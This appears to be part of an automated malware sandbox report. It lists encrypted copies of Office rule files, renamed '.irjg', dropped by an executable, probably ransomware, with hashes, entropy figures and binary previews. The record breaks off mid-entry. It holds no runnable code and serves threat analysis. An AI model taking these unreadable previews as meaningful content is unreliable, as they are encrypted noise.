Preview:	<?xml.b&gG$)..GE...BO../..&....5...T.......9.,`...;.j.\.Y.......W.&.u..US..H..R".d.vg...c..!%.a.&.>K;...zC"O\|.v..qu......e..P..k..s4.........'....Je9...F....g..v...94.R.....,.....;.eZ..U....)`....$.A.6.O.8@..4...0............@.4..d.7.....M..W..Pph..5.. .4....]@}^7.r8..............B.7...L...)d..N.@.C.l..er.u..G.2E..Y%..\|....U.vV.F..x> .....\....e$..I._d..]d\|.'...VIw....>bF... .k...w.\|.v.\..`....a..`nV...^....x.-..._..r..[9$_...<..2....B..%....m\...r#J".BE...X...S_oSt@.i\;..i..7.b.)\|c(.~..w..*.Io....W...4.uP..I....U...ow.=_m.+.4...p......p'!....l.S.c..;X.:~#.,\..~._=ec..~V...s..(.x..V..d.p...Z/..1z.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170041v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	7.794693621325019
Encrypted:	false
SSDEEP:	24:avKFjPHNhXKGqej2FyookgxlYn2ZS3NN5/Ymbcd4y+GiC9pbD:aEjFhXnCFyfrxunlqtd4y+sJD
MD5:	A7CC52C0F644FB3B898123BFE22ED71C
SHA1:	82F5BF68AEDE7C20BCEA84F20AB4510A59BE142D
SHA-256:	E19FBE6A96AC88A39DCF60D7B5C69284F75D7C1EC2935623AC835C4232C69384
SHA-512:	7273758E754852FB97F9F4530C108418BB2FEC129A459D62BC2B3B2EC9F400CF133504D3DB5F6AAC36C5B9536FAE69C3A5F5C51CA953BDDC1CA3815307414272
Malicious:	false
Preview:	<?xml..]Q....5....g+H.mV...4..`...'..T$...,6.[.6q..+...yj..[...r.#.....C=..\.Z7C.`.t..Uk......v3\|ZA.......p.V_?..o......y.....W.QU...#F.:.ts..%.U.........w.....2..Z...".ZIq....4c.O..VhQ.....0.!n.....#...R.IC?.A3.......... ......Joc..M.......G_w.^.H....Kl.\..(...$..bm^..Q.y9.j.o...N.rw..i....uE/.,q.....D4)......~.;+....].....=?....l9...Gw(I.:..<....5d6...q.G..liA[.......!F..Y}4F....Pj....\k?a'...Rq\.q.8..>W.CB..K..*......T.E..A.8>...........+..,E........xT..$.r.3O..@.....O.2<C.......G....7.v....P[.\...3..1.7...{...Qx.M.......X....Q........:N...K2..w......%?k..L.....+...#.Y....aS.x.......l._..N.....]#q\|......F...$y.O+A..g....K.=....yx.hE.E.w^........O.K..5u.\s...j[bu.r.i..^...(ed..D+.OF..[.c...;1K...<#x.:.0X.0.^........^.@.a>.CX.2qw.....[(....N.C.:.i..'.......f;z...y...Y..{.75.%u..b5....{aT.r...u.U...bP_g...d......1...JX.U..H.$.h_+..{8...X.MY.k.f..............Q............\...d...6.".<..R...T....bm.b../...r.R.9\bq'w..){Z.."......v

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170042v4.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.805302724385472
Encrypted:	false
SSDEEP:	24:dEQBsREjIOoopZY5OH8BE9LtqiyYRIfTqP9u6g9pbD:dEQ72ovYiXyYRvlu62JD
MD5:	4A4FA1FA0DECD4DE7C1EA66A9C2B692F
SHA1:	DA3BA665F219317C869BADEBD6E9E9652DCC2256
SHA-256:	7DF3D32CE61B323D298A38555C5C98E792262EEAE3B795B0BB80B26C924331DD
SHA-512:	5BB6BAE4D8858C24DE5D2AA875769362FB233A9A0C4C2BFAD63E445FC4275C11D7A91D506B74DB2B13204DBF654D45916A0CDB995606BC5FC27EDE292C63D3BF
Malicious:	false
Preview:	<?xml...:.,<...@...-..l...H)"$.[.K.5.,_...D.e...8..z.R......MM.>s.i.6M...'f8.k.Sr...bp^..].V.J.....\..w. .B&.~.e.x.a...f..eV.F..$.R[..."........dOy....W.J,t...kz.........g.. m_1N..3.3.........1.T...N....;......Ms<.....f4.M.o.J..3..Z.W.....\|@@[..G..U..q..XE..Y.`D.^a....#....v...~...U$...6...a.E...W...t\.[..U.K./Z.....M......s..z..].Sv..b...?I....p5.D....d.W..0t..t%..b....b....>`....G..........8 ....3. ...8H..6>..A#,.E...._..G...-!V.\.A.V.1V.;..z.....l}.^V.\|,.]T........:Y...e....O.......mO.e^......#d......?.V.p..^`h..Z...QP%....s#O.p..1%I.......?.Yy...~PL.....&L...S...;.......H......S..,............<A...P...C. mr..s..0@.>dJ.$......C...u..h...X..:.L..x.}......1....]_...t..^.I...=..J%I&...C....]..l./.....T>..b]...E.4..h .......I..MO.OTT.5...`..k}(..8.".R[)..w.MW........db.0.M..Lo......<G..AE.'...O+\..S%Q.]S..G.?.:O.._.....o.E<.uvb.pRM.w...N..=..%....+E-.B.%`.......z..iuF...%v@.....U`ZI.h...v.]...3+.]xcdIdDNFh62dy3iJsba1COhcfDENs

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170043v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.711590359684588
Encrypted:	false
SSDEEP:	24:VSvap80v+Z48XQE4ltW1UZC9GDhjdUVfqVHNxi9pbD:NNv78XQE4AyCkDhRUpYNOJD
MD5:	6493FCA1A9F5AF35E6C4CCF4378D9A26
SHA1:	AA5FDD6748A3E2C86A219B5A6F3F78982551909D
SHA-256:	8E367B6901F6B41BF65038F92595E5A4258D7BDB97663E2A447538C2A926AE4B
SHA-512:	1B3FEE17E3D6C007FD94F2B12B28FA485417B99E593102E24D0F0C30CD2928C844ED7ADC131F6FBC9B61CF2A19D38DE2F7F99784781844960749139D78EE0073
Malicious:	false
Preview:	<?xml.....-.3.jd.0.*hM..B....c...>.:..^W.zf8s..Y.E..k.N...6~)..............\..+'....?...w......,..MB..t...sp...e.a#...J....Ugt...x.u.I.5l...uQ.A.a.u.#..A3...QS..i.C;.\|...[....MO..Y.r...j.X.q..c....'../7)..BX....X...I!......{ \.L.....v3x...8B...F.r..s3..J.3\r.\|6.d.....Eap../P .TQ.=.....Z.m.....R..\wRMM......_..wi.I.Y.n"......-..Z8Z.ftz.-7...M...D~...l...J..5...D......Y.....L.h....sp..r...I....hej..P.......{...}ve..!......QK?"...o.H.$g.&&7].l.M/:\|.%...U.B$.;.k..t.fH..u<........?.V..P..K.y.."........7........Z.&.R..6......C\.....2....4Y.S.9.. .5..kw]..l...8....i.1...B.)s....@0YBa.{/.^%...\|..rJ.'..X.....eP..>S.M#...C;e.z.wk.........>...P..P\|/S%;..vql_..P...mRZ....1E....O..a'.j..F.....ixcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170044v4.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	853
Entropy (8bit):	7.783875536491746
Encrypted:	false
SSDEEP:	24:ww9k4xJ6jl1cCm/92RbN24L+zNOqiDZtSeV/sg9pbD:Nkg6gjUtUzNOqiDZtHhs2JD
MD5:	0FFC4E101408978102B7E8203CD47792
SHA1:	77747015FF130B1ED225EBC1F7478E82DBA94464
SHA-256:	585D5E7E1DFB1ECDBA311039E3FD7FE4142C3832D1AA95559C704958AA278082
SHA-512:	B49D41568E29808C099B55143C395823D05BC3EE5124E63A9CFC09C4559CBAD3C6190B87416309097233D8855B99ECC1B7C896A3864D5A8D72A46DB7CC92E88E
Malicious:	false
Preview:	<?xml.k.ze7.V....3...J.%.....{ifK.,...V..,.'...R$.....dn.C#.q!......-....>D........A.u..%....l..1.H`D&u;kL2O.^E..p.V.l..)...B.).y.zRL"..Z.y..w..3(]3Ia.\.sFb.N...J.I.xn.....iE.O.P..."...^a.L...;R..kuq.._..MIl.b..f.)m...S]..M.U(\|y....y0....k.%%^...g........v..4.F.\.na.....cH....[.RJ..e.Y.........qC.5)%.{..`.6.......g.@....%.*.=.A......R.#&.b$...:..._^=.n.{u.....eTP......c..N.F............W..sk6..k.. H.....clM'w$(R..P.vc.N..X..]....W..N..!.Q.9.s%.R.S.&'.aD...;../'r...........2....q;...MY.....i..z.45..........+3B.l...F,0t.3...[.....(.....3)..R.D.W.d.[.>./..E._.0...T..zr.....u......gD..Og...1..-B]i+.).{).<.?G.....^;0.t......D.\|..... .Q.#sj....W.f...F...Q.......5;T.}.'.\....0K.C. :..9G.n.i.....O....fw.;.Qz....QJ..M.....9R.u.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170048v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	7.7741480291691545
Encrypted:	false
SSDEEP:	24:6wJr5k3/vrKCqW8bxaMzfGYqoA75r0Gos9pbD:v+3nrKCsZOYD+LJD
MD5:	6BA352DC3C09001F7B64A66895154517
SHA1:	13C0B5432AE0B1E72AC65C39C22C6E6E1FCDB58C
SHA-256:	1EF268567825110879E2028DE67FB6D9650622DA1B3475E165BF7D9432E2B484
SHA-512:	BD43F837ABB4CB19757B48CD1C7F492631971F4FDBEA2878829DED54D947203B92C2A867EAAADA9D1A7A7B753074203C574FF9972AFB662D70318B2B3094F509
Malicious:	false
Preview:	<?xmlzF).^..1$^.....40L3.X4.~r.p$+..Oo8...)..."\|...17.)K..........$..9.<zh..R..T.3s.2X.W......42.+...F.....,....._.......?[.V+.9T..B.........b........,h...6S...9.....}..C.{..g.B}.nv...P.~U.)]e.~..........Q2....f...I...Z...#J...Z..........v..!h.C.X?X.Ad.u18.:.1...../...f.-:.... ..8.e...i...m.....d...s...\.%..~.n..g^.....'.R.......m.aN._...G.e.U...>..s...N.......b#]ID..l_..mfXl...8..'...?O+.gZ.Ww2.#=TZ.......^.<.!...>"t.}.........-.).....e`..M.n....L..{..2T...3...He.E...^n...].G.Q."X]...x.l....m..>.f/.....[-v......t....-.k..P...`.r!%...".=.yFa..k.....f.........._rjt9..y..T...c.O.....4..Y.ZE+k..)ON.....m.x..tM...q..5.:u.X:z .L4.v.1....L.8{....'.X...fSoP-....a..k.%......=~+0..c.z.<..D..:..oyC...[.........R.-@w.......q...../Eq~^.........s...,.os..s..m.N....R.h.d.X.i.e..<I\|...0=+.....}wlexcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170050v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3310
Entropy (8bit):	7.942954015218442
Encrypted:	false
SSDEEP:	48:W3LuaOSnR7E0+GBSpVn+FYXPtFjeU2GnOUlnVZeh4b4HkdRcFlTHGhe8+JD:WbjOyR7UiSHn4yPaNUlnfo4EkRolTmK
MD5:	0E8A9448076F9DB521840CABEA76A53D
SHA1:	5638E8220FBD2A85C8E087F5E5F011131FA7338B
SHA-256:	1DB3A60B3B899E321C4FDEF82474103F6150EDB276AEE4971EBB7408736059BD
SHA-512:	6901715245284FBCB784967EB42E5A0A2B5369104B607EBDC7A51076C5FCEE26B7D537A13C88E0F4ED194DE6C2E4EADDDBA3ACA254098210FCEB4C0E18E79ED4
Malicious:	false
Preview:	<?xml...Z....UW.:_.6'........v...t.49".W.;...v...J.FL5..u.....YQ.".D2.#.5.@..,.9.Irb...\|.shN..~oV.$...V.k.%l...VR:.......skO.H..+....V.ll3..K'8.....p..6R)"..%m..a]\|]......fR.g3........_..,...E.p..D.....7.nk..x"..u.=`...v#4.o..x.FY.<}..e....oo?44..h.li....E..c."PH.0.........A.........}..v;.I\|.D.>.7..z-m..0.q<V..V. ..,r..k.t ...L...Tl..ax0x..q.0hyE64....Q......'....d.f<....... .I[...X....KgP"../.gS..a.beg.'...8..2l.?.ka[.......n....c.v..(.?ey...0...(..R....X9...'1....U.M.{le..\..1..p.U..<.z.u4.@.......A.A....:.c.9~.`.....k.x........R....G.h.#..U...i-T./..Z].Z.."A}...QH..+.dN.vC.z,..s%I.3.d......%..V....}.p.....U#..<.2ul.t...#.4.$....w..9...k.o.sVv..\.N..Kw...^..K...[... ....nj..@7.B..l...V...<.g..H....T^......e.hEv.........Z.\.?....}..9.1uj..NF.!.Y.G..0j.B..D%z0.Y...M..O.K....@&j. @.....{y1..].i..n../.......a.a......!...'.".+.........a.<...C........k..N...}....H..3.*[s....Y..).d.$I.D..j~......u\|......YV.?.E.rz~ lx.L....U..[w.h...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170051v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	910
Entropy (8bit):	7.713230940016609
Encrypted:	false
SSDEEP:	12:M/xCe3tk/a0xG1kdoPwabHaZoopSjX7eUTz+gVKiDV2ZpeZCd+TdXdrp1eo8uVsX:cBsdoNbbx73z+gVK8I7eZCunp11k9pbD
MD5:	4356A10085DC5F206770242C49B69BBA
SHA1:	A022AD410D9DFF187FE72017C0AE5D32409CA038
SHA-256:	F714E0E61D2A4A86F9682AB538D40DDEBA695C7D28DE63FF8C7E53AFC76DC204
SHA-512:	C603987B018774A5645F56C2DE2FA7FC76F680245D71F6A9A0D3DC0DFEDC1E8C25BCC96B18B5F3F54B1726703FB4B28A637849269DF4997336979EA525450724
Malicious:	false
Preview:	<?xml1..r.....U.....px0Vq.{m........rL.d._.......i..X..[...v.>.&....[[:...g.].&..[~j.T.Sx.E.XAI.....2..g5..1).p.{.de.w....=..=.t.........V...(.J..9.`{&q;.:.U.0......M6.w.&);#c...z..>...d.2..).+.(..W..o...X]P.......q6!n.......X....)\...6@.JU.XhyL.....g..JO.]v...$..r......sD%L..]4.Lg....&.s?...@.V...l..Bg.......n.$..t:~.>......w..9.%k=.&.+Q..Sg...T...$(.pE...&........r..[...T.....3.@..D:..>....29s.......0b..=...pP...4.@z-h9..=a...y8.......my....P...1p...E...(l..u..C..C..q..==.uA.#.a ....=ARWA..,.[.-i...[..c}..s......!...V.=.C.....=...$.gA.,N.>q7....F.t.0W?...j.p..%.C..b{.<x[.......\.3.3..?..C.Y.....Y.m6...Vx[b.U&W..t...#.K.....+.@..$Y..(B...4=.q}..."..m. J.....sAM>..3.g..9Ev~........9...G..6.].....-....CTC......>.U..x......"....[Z.H.?.m.3..0*.m.?7.E.`..1/..pn...s.....-.w.CxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170052v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.775789044784048
Encrypted:	false
SSDEEP:	12:XcawN5n9BYUrURBbKbIXfvaDrWvmcqFDmCD4GdidgRSsiTjr9+9IXMBoFt5/JS9h:Ma459w2aUgmbF5BnoFL/M9pbD
MD5:	FCBCB2722CEA811C3A4B63D20CB8616F
SHA1:	73087E835D2C48EC04F1E06557BBD179F81260C2
SHA-256:	480C020C8C10AAC2C568F350E5528A71412EFF37B2F3A02A5644CF58FE752A6C
SHA-512:	F3B231BDF582D98AD6BCB3ACE94FA0601079CCD0571401352AC673195E196926E0631A0134856DAAB96CE44F4949A225093A401F38C643AE94AB32537DAB3C89
Malicious:	false
Preview:	<?xml.Ii...\.......r.4....H~..P=..A...#..Slz^..........+....a,.(v.X.'....~y...?...]e.j_.....=....t8."...gq....W^~..'~d.$..\|...Y(E..Q]....+L.....$.9....zB.v...n2@S]#....?....4..1c...?.@Q.!.u....b..fY.....L.....c..QO...).!,)...'.}7T...tt(..l..L.t.sD.DcHQ..H.g...}t.......!...9.>.. ...2>4.3.?...-.y.....:..Q.RX.Z...B.....1M.[..>vA.j.....S.....M.............l...N........:./JX........\|.$z...@.\LC].PI...."Ss..x..p.{......O..(z.f.Y.kzv96......q6.$p.RE.3.w.e.t.6.......a........f.@."..YV...q....D.XS..F&..L..9..lR....e6.q...2..._.VE.....PH.)Sn...n.\|..znb...k,h.{..X.i...L.9....t...A.L..0,.....&.7Vm..A..q...O2....e....r.a...iW..p\|..7..~JF(..k............... .(.....l...p.....%._.kq.$q..-2.hAz...v.N....KK..e.... ..q0.G.R..e.x?.eb%SE........../).*Vv.#...#....u\|..pc\....;....y......G...s.Z..q.........^...'dxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170053v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	7.715543167541557
Encrypted:	false
SSDEEP:	24:yd9ByvsbVYw6I86fs3KhX+JyUPedtXFMUrahi49pbD:2fL6A+6OJyUPMXFM6UXJD
MD5:	7D1780589F3B8B8367CF7BE88DDCB78A
SHA1:	F5DFF2D8AE8BB2CCE98D428A580DF09169916485
SHA-256:	2CD017BD302C2991EDBA79AC6C9190CA739EA5071C095288ABA3289B8D45DFB5
SHA-512:	30CB284C81DA4DBAD77E616A263EB4D3004694BAD9D9A543F316BF7B0BB08A01F3D487C0FE6DB6F020A969E0E442F52EE8312039A9D9E924986E1FF8F4C88725
Malicious:	false
Preview:	<?xml..U...}.....y.uA>.........1......<Z...M(.-...N...yq 1....(..BE.m.~VJ<..[...wf,........l5..?..".I.....jj..1.I..V..p.:n.c.1.<&Z....nI.6By!..~...........o.f......g. B.:..[\}Z>..o....0...C.m..,.h&7...q...oU#..a...N^....R}.....jf.jE....W.p....)..`.Ec...}........,........+.p.\|......7....O......I.}3. v...6.Ij.eE^J(...L.:+.......Y.[(...N..C9....o..:.]n.{..8N.`..b-M.e.c .\:........\c.Wn~1..>....xi......M(..K..^/.;{.....:..#...\|.5J..+L`........r.......)D........8?D.$.......Z..&.$.Z=]....sf....(.J..`..u.r.N..h_...3TL.......<.4E8.M.!...S.>....z....X...R.8.gl.......i.[.!$,Uf.u.*p@T!..(.P.k..Q\'.K.mGn..K..`2.J.G\L.?F.Y....Y.....2E..Fr.P..j)./.."U..8w......lP..Z.6...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170054v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.748205824821304
Encrypted:	false
SSDEEP:	24:jb1xGbVsAw9ZQBFF1gVKB2vFxUQ4lv85Ol9pbD:Fo0ZUQX4thJD
MD5:	ADE2005D5DFAF30314A91C48C61B1C65
SHA1:	3A0093E3700EE6B10A6290A084269AAD5AFD1D4E
SHA-256:	D30817F5DAA885F0BF9C746FBA60C0C0674736A014F6297F21BBB349F18DB73E
SHA-512:	AB9587640DAE65AA3ABFE74E703841C95E861A3DEA5CC8C23FC553AFDB796A9F3A243158C95DBD3BBAF09D569D43FAFC20F104E16A78D1777605EB3C5E627FA3
Malicious:	false
Preview:	<?xml.O...P..........0i.._..B]......4...Tz.h.1..J....gj...j..y..R...u..Y.....3#...-).)...#.....0..:...S....6......#..7'1.......46..L.[.1D..>k......dP..3.w.K......Xe.=...a.....V....\|..:.r........@...o...yjj\|o.......Fa.#..(..u..8$......uzI..-.../a.J..=q..dq.V.......<T..F;Ip.#n....qCYsl.D...XKeW....R9...sG.0.g~....t.K.&..l%V..i.I....f...9e.T..<F^...d.lp.).....gY...Z..w.a.aD...-."ES0d@..F7.n........Gy.!...'..\|.>...G.CP.n..W;..-..6.;....V.."V7%.&.C+.u.x......`nm)sZY.a..Y...+z.\|..:...e.......q.q.).S.u.X.k~...v.z..u....._....F#T.1...x08.....1iy..A.O.n...1f.....\|.%.b....l...oa.5';Y."u.<6Q...2...r..`......20...;......%d...9.?1y.......R...7.k..&...}.E.F.m..y.I.YLoi.r.F.FDB.....;..i>...R.....3.6+..E.l.m..W.D2.Z.!......%0y..\|4.a+5V..8..J...Z8q\.^.....I......J...9..WuT..S*...)....y..IbU.tL..8o..uR...how.{$.^LE..O0....?..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170055v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.799249755021526
Encrypted:	false
SSDEEP:	24:OpiIuq6dat7TKbwq4UImEvql3tUapVEyaScbx7hmL9pbD:uiIuJYx+bXCvlapknZgRJD
MD5:	A02027E506312CC596129178E6F31580
SHA1:	72F9264F822189C4A4A1FFFFE8288810A3E86645
SHA-256:	5806783AB7E3D6464CA7FBAD48E38828D67C4F6C47B351A9C711AAA2418FCA07
SHA-512:	0AF8324F1FBDC0290A417C8C5262458165C9C1E0BDBDCC2C321B4D7B5D868CCC95544ACB45084DD1AB77FB4D4F61F7A5ADBC1A6706B43DF1F58A1683D28F6933
Malicious:	false
Preview:	<?xml..%}... ..08Wv...\..t.'.f..d%j.B..Zy.\.p).......+E...].(.....@.Q....<.!8I({.J.l..>z.\..,.-!.e.4J.Dr....m.$t...Y......W.I.v...x.5<.....m.Z.r.Q...3V...5..2!..P.wL..=.. .p.?/P........J..^.N...m7..Vt.]._f.K@py.O.Prk R( ....cA.ig..S....i.S...j.....}y...3.'.M....ih..a....e.A..'3.)..-..?\.Iu7J....U.v.MLE./.!.gi.=$.E.q]l5...O!...s..C..LQ-...e.........sY...z.&..!..n4..x...l..../..\.....LZ8..=YhP5`O...O.OVm..yw.N..]4r"..p..W. ....cO...Z..J..8l..T.b..>`.f-....A.....Xx..`..\.?zVi..\|...^H.-.....d.$.V....&...G....9....#......A......./\|{l.3..~..)..B.k.'.Oy......P.1m$K...p.9K...O...H...r5A"z..p].........8&.._.x.....<W/R./..".d..X..H.t.95W..D~....$m.....@}.6b.7.Uj......VP...f..<8..gL.!3.....\|y.X......B....C..i.P.Gv]zC..gT...H.....E...6Q?................{..A.e..hr.8......:..e.V..{4.{..B..~.?....J~-..OO....%.m8.w...lO..c\..k;..]....J@.+$Y.)..>M<..=E.]./.g....9;.)...b..6.'.B.M...E.B......)....!...7;.5.6.@..A.5\|.\....a8.y.qWy.%.E........7.<

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170056v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	987
Entropy (8bit):	7.7989027607266905
Encrypted:	false
SSDEEP:	24:P6VFhZm7uR0Y/H7P9s+/oKyMftrzhflu4QV9pbD:SV9UuCY/bz/o+xRlu7PJD
MD5:	4273CC73B244528F835295D8BCBB9734
SHA1:	4ABA800863B80E9B94077E7E5035071005129B63
SHA-256:	3A2D36D6C60104CFDB550C7EF3162655D28871DEDF18C0DEB9105A73B691B309
SHA-512:	2D8D0D32B63966B264B0436C40837790CA0563B2A708644AF503878910013BDF05F8031BA2532CE8F0A8E136C260A250B46EB764DBBE9A3C6A85E619C2DB3C10
Malicious:	false
Preview:	<?xml....BF..v"}.XbL.cY..{...q.a...U.*..;dg.e.m....g..F....\|./.d.@...../.bYO.]?.n......u..O../..m...\|E..4....W D...."......G.........8t7P....O9`.Z=+.y..%.p&l.'.AGY....yk.t2.\l.....6.A..+.qh....@.]Y5.R.d.,DZn....#..kE=od.2.~..o..{.c.....B..1!..h.Zv.8...`.(X.#...yv.pd..$!T.L.O...{.....x.4,..v.nB%..7Hd....Za...{....g$.....9ix.......P.E7...^..[......Uo9.4..(.p..8.J..,.F.IW...33...D.(m..p>.(.!...W~.N....t..Y....\.[.%l..N.4t.D...i..Eo...`....4....!. G...(...jHW....j..V..?.z..N;.8lb.T.C..[..<...(_q.6)]&..F.]..U..]......I(.t.G......<4.......8.TM..Y..e.R._.9..M.TN..cP.yC...S.u.....tx..........v...:..i.N...v^...e...).....\'...rK.>.4d..........op(._$.j.5.u9...R...3;j..hv.....`YA..6.......T#:.r...]..-..M1.W#..W.{.'W-....... yxO.;..j<...V..2.....hK\.2......O...X....B...\..E$.,Y..q.x.b.U.`X.O.s....w.....T...)t:.^=J`....D.(....e.Gw..c.....c=.2.j.D...1..My.^?f!U.`<)R.VxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170058v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.775468529069968
Encrypted:	false
SSDEEP:	24:mQHuxh6KA8Slon+hBafve0mkqOvLS21Z3JBwkQ9pbD:QZA8SOnuBafve/8vG21ZJ1mJD
MD5:	CE7DFA1ECAE52575F4B33D402DF77132
SHA1:	1DC6EB09BEF7FE76D50452D24CDD67C79D1C417C
SHA-256:	553FF8318AAC61DEF134630D605A11AE4B1F4C3A2D9934289792819B0BE36D4D
SHA-512:	25831EC829F6EE226D9CD86D101CFD05A58EC71C7D98DBDF28CCB814D12BA2CDA10211D4904CA80F077533F3D1A3723F0E962B682CBCE6629303697AC17830CA
Malicious:	false
Preview:	<?xmlv....vT.u.u31d...2.9F.5..,.Q....%.Jl..HM...'1q.:F.[(..d........}..D.....I...W"...b.d.c.N.P}tMn...Y.#.......Y...\|..s.... .!.q .m.z.......8.c.....1..p..@.J.\|k..m.?..z...n..c......1.....7..]..{..xo.IO.....A.{...K..j\|.......+<y...,5x..6.-..j..E..R~...!..C........n{...u......X..Zd...&..........7...!....\|..l.iL&.!.N.aX......e..#...b..w..&.cQ..0....G._q)H<+.-...._.4.d.N..\..,".~.>".>5c<......2Ek..R..p.N...o!W..AN.....a...O3.t'..r...F.w.<q'.u.3..PJ."u.U...vd4..M.b.................kE.x1..u%I.4.j).z._..}M....y.}^.O...J....m.2..,=.QS*.$...._.....I/F8.0....f..}....c..].!b..[...G...L...9...FJ 2..%.V$......E..+...RVcvK\...H.^.....<....V...w.IN.jU.~...'.,T...p7.5.G $.3..^.B...v....(P......:.sN.(o...+.:(.....T7O.....;._.i"B%A..;.%,.......r..A2.,xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170059v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	859
Entropy (8bit):	7.749817084215837
Encrypted:	false
SSDEEP:	12:ozf+jUh0lGKr7ptCIuFwUiwucp6chOBRyxTRVgH7aapUToeWvWzZuluqIqD9M2cq:YfKUCnr18NBp6BRSRypUTLo9pbD
MD5:	A411973CB211D3C95C0474739C177D3E
SHA1:	ABE6A31EDB3ADA998E3D63A847FCBDB3DD545269
SHA-256:	D880537D06CE07F393BF97E567D7A190EC2AF84535FD97B6499F53A9A2A93B19
SHA-512:	20AE6C9A4E0F9528A8E9E5F0DF59173E4844B1065BCCA693676F9F213E9105C69EFE395F189E0F40C08946AC112C390340534A111538B7F6E93D513F492B53BF
Malicious:	false
Preview:	<?xml..hg. "Q.Ba..0U..00.......t..5/....>...W....(=^...2/q.;.%n.p.z..M.......Y.1..(..r...@..S.h...Z.../B..h..A.J.].X>.-...#..bN...}.R/..+A.N.R.. ....Qy>Xl.....7............... iN.>..pm.`..F....DO.....\|z..l..%..?..f.,....Y...$:#...Z.G.dI...W1h..bL...`..w .4.^....8.o...&2O....yE...0.....t........O..;.8F7I.o.....gO......]..GMK.{....2.]........<..2]K...a.Yrn..z..6..F........E.8.....r+I.h=9.,..T<,J[U+.+.;.d.Rn..\|.I...........j..U.\|..f.-O..K.H.".0...yJ.2.......}.^.:.....3..x#71!./....?.DP....[...8.....`]lr....._.;..Q.._..i../^..U'$.....IOP...9)...a...A.....,.k......\|.iva.K..............q.S..3ap$*.mr.u..B..l.Hf....w..PA...O7...B%i;...k."..F\.v.q..._`......Gh.#.......J..;.C..?g$....F...N5.lNA'm...[...2N..2$m..67....2.q..o.(o.D......xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170060v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	725
Entropy (8bit):	7.7160003401782395
Encrypted:	false
